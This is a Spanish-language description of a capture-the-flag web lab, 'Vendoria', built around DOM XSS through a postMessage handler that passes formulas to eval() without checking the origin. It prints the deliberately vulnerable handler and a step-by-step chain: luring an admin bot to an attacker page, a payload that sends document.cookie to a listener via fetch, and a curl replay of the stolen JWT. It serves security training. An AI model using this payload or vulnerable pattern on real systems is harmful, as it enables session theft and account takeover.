Marketplace social moderno (estilo Wallapop / Vinted) que embebe en su página de búsqueda un iframe propio (`/widget/recommend.html`) llamado "Smart Recommendations Engine v2.4". Ese widget acepta una **fórmula de filtrado** vía `postMessage` desde la SPA padre y la pasa a `eval()`. El handler **no comprueba `event.origin`** ni valida la fórmula. Cualquier ventana que abra/embebe la SPA puede `postMessage` al iframe y ejecutar JS arbitrario en el origen del lab. La cadena se completa abusando del bot Puppeteer admin (Maya Reyes), que abre cualquier URL que un vendedor le mande por chat. El atacante hostea `exploit.html` con `python3 -m http.server 8080`, manda al admin el enlace, el bot navega, popup top-level al lab carga con cookies de admin, `eval` lee `document.cookie`, exfiltra al listener, y el atacante replica la cookie para extraer la flag de `/api/admin/dashboard`.
Entorno seguro y aislado
Crea una cuenta y suscríbete para acceder a todos los labs. Practica en un entorno real y seguro.
Cuando resuelvas este lab desbloqueas este logro compartible
Vendoria es un marketplace de objetos con historia (Express + TypeScript + better-sqlite3 + React 18 + Vite + Tailwind + framer-motion + Puppeteer-core, puerto 2103). El lab tiene 9 usuarios seedeados, 18 anuncios reales, 12 hilos de chat, 22 favoritos y un panel admin con la flag.
Capa única — DOM XSS por postMessage → eval sin event.origin check (CWE-79 + CWE-94):
El equipo de growth de Vendoria construyó un mini "Smart Recommendations Engine" en un iframe propio para iterar sin redeploys del bundle principal. La SPA padre (/search?q=...) lo embebe como <iframe src="/widget/recommend.html?q=..." /> y le manda fórmulas de filtrado vía postMessage. El widget las usa como predicado de Array#filter y devuelve el conteo a la SPA. El equipo de seguridad firmó la excepción para mover el endurecimiento a un mini-DSL en el siguiente quarter — mientras tanto, cualquier fórmula que devuelva un boolean vale.
El handler en server/public/widget/recommend.html:
window.addEventListener('message', function (event) {
var cfg = event.data;
if (!cfg || typeof cfg !== 'object') return;
if (cfg.type !== 'reco-config') return;
if (typeof cfg.formula !== 'string') return;
try {
var matches = items.filter(function (it) { return eval(cfg.formula); }); // ← sink
render(matches);
if (event.source) event.source.postMessage({ type: 'reco-result', count: matches.length }, '*');
} catch (err) { /* swallow */ }
});
Tres detalles convierten esto en DOM XSS cross-origin:
event.origin check. Cualquier ventana puede postMessage al iframe.eval(cfg.formula). No es Function(...) con 'use strict' ni un parser; es eval puro en el scope del widget.document.cookie y puede hacer fetch('/api/...', {credentials:'include'}) con la cookie del usuario activo.Gadget de víctima — el bot admin (Puppeteer-core). Maya Reyes (id=1, role=admin) tiene un bot que cada 6 segundos llama a GET /api/conversations/_internal/admin-inbox (autenticado como admin), extrae URLs de los mensajes no leídos, reescribe 127.0.0.1:* → host.docker.internal:* (porque los vendedores siempre comparten URLs pensando en su localhost), aplica una allowlist de hosts (host.docker.internal, localhost, 127.0.0.1), lanza Chromium headless con cookie vendoria_token=<JWT admin> setteada para los dominios localhost y host.docker.internal, navega, hace dwell 8 s y cierra. Allowlist estrecha → no es SSRF cross-origin, pero sí es el primitivo perfecto para entregar nuestro exploit.html.
Cookie httpOnly:false. El equipo de marketing integró un SDK legacy (vendoria-analytics-v2) que lee document.cookie para identificar la sesión. Como refactor (RFC-0118 en el roadmap) la cookie vendoria_token se setea con httpOnly:false, sameSite:lax. Esto significa que (a) eval(document.cookie) la lee, y (b) viaja en navegaciones top-level cross-site (window.open).
La cadena completa:
attacker@vendoria.market / password123 → login.python3 -m http.server 8080 en el directorio del lab (sirve exploit.html)."Maya, urgente, mira este reporte: http://127.0.0.1:8080/exploit.html".http://host.docker.internal:8080/exploit.html y abre la URL con la sesión del admin activa.exploit.html ejecuta var pop = window.open('http://localhost:2103/search?q=apple', 'pop'). SameSite=Lax permite que la cookie del admin viaje al popup./search?q=apple que embebe iframe a /widget/recommend.html.exploit.html hace polling de pop.frames[0].postMessage({ type:'reco-config', formula: "(fetch('http://host.docker.internal:8080/exfil?c='+encodeURIComponent(document.cookie)),false)" }, '*').eval(formula) → fetch sale con document.cookie (que contiene el JWT del admin).GET /exfil?c=vendoria_token=ey....curl -H "Cookie: vendoria_token=<JWT>" http://localhost:2103/api/admin/dashboard | jq .flag → FLAG{...}.Por qué encaja en la familia "DOM XSS via postMessage". El patrón fue descrito por James Kettle (PortSwigger) y popularizado por la herramienta DOM Invader: handlers de message que pasan datos atacante-controlados a sinks peligrosos sin validar el origen. El twist clásico es innerHTML/document.write; este lab usa eval que tiene el mismo impacto pero suele aparecer en motores de "fórmulas configurables", "filter expressions", "chart formulas" y similares. Reportes públicos relacionados: ALL Solutions (HackerOne #1188937, postMessage XSS), Khan Academy (postMessage XSS in formula evaluator), múltiples reportes de YesWeHack PGM (JavaScript code execution via postMessage).
Suscríbete para descargar